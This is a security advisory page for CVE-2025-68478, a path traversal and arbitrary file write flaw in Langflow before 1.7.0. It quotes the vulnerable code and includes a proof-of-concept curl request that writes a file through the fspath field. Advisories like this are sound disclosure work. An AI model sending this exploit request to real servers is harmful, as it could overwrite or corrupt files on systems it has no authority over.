CVE-2025-68478: Langflow Vulnerable to External Control of File Name or Path

Published Dec 19, 2025
·
Updated

Vulnerability Overview

If an arbitrary path is specified in the request body's fspath, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168 python @router.post("/", responsemodel=FlowRead, statuscode=201) async def createflow( , session: DbSession, flow: FlowCreate, currentuser: CurrentActiveUser, ): try: dbflow = await newflow(session=session, flow=flow, userid=currentuser.id) await session.commit() await session.refresh(dbflow) await saveflowtofs(dbflow) except Exception as e: 2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38 python CurrentActiveUser = Annotated[User, Depends(getcurrentactiveuser)] CurrentActiveMCPUser = Annotated[User, Depends(getcurrentactiveusermcp)] DbSession = Annotated[AsyncSession, Depends(getsession)] 3. The client can directly specify the save path, including fspath. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70 python ): try: await verifyfspath(flow.fspath) """Create a new flow.""" 4. It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49 python async def verifyfspath(path: str | None) -> None: if path: path = Path(path) if not await path.exists(): await path.touch() 5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting). https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58 python async def saveflowtofs(flow: Flow) -> None: if flow.fspath: async with asyncopen(flow.fspath, "w") as f: try: await f.write(flow.modeldumpjson()) except OSError: await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fspath)

PoC Description

When an authenticated user passes an arbitrary path in fspath, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

- Before Exploit

<img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" /> - After Exploit bash curl -sS -X POST "http://localhost:7860/api/v1/flows/" \ -H "Content-Type: application/json" \ -H "x-api-key: sk-8Kyzf9IQ-UEJOtSTaJq4eniMT9JKgZ7q8PNkoxc" \ -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fspath":"/tmp/POC.txt"}' <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" />

Impact

- Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components. - Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings. - The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing. - In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.

Other sources

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, if an arbitrary path is specified in the request body's fspath, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. Version 1.7.0 fixes the issue.

MITRE

Affected Software

3 affected componentsFixes available
npm/langflow<1.7.0
pip/langflow<1.7.1
1.7.1
Langflow Langflow<1.7.0

Event History

Dec 19, 2025
CVE Published
via MITRE·05:10 PM
Data Sourced
via MITRE·05:10 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·10:53 PM
Data Sourced
via GitHub·10:53 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-68478?

The severity of CVE-2025-68478 is significant due to its ability to create or overwrite files on the server.

2

How do I fix CVE-2025-68478?

To fix CVE-2025-68478, upgrade Langflow to version 1.7.0 or later which addresses the vulnerability.

3

What type of vulnerability is CVE-2025-68478?

CVE-2025-68478 is a path traversal vulnerability that allows unauthorized file creation or overwriting.

4

What are the implications of CVE-2025-68478?

The implications of CVE-2025-68478 include potential data loss or unauthorized access to sensitive files on the server.

5

Who is affected by CVE-2025-68478?

CVE-2025-68478 affects all users of Langflow versions prior to 1.7.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203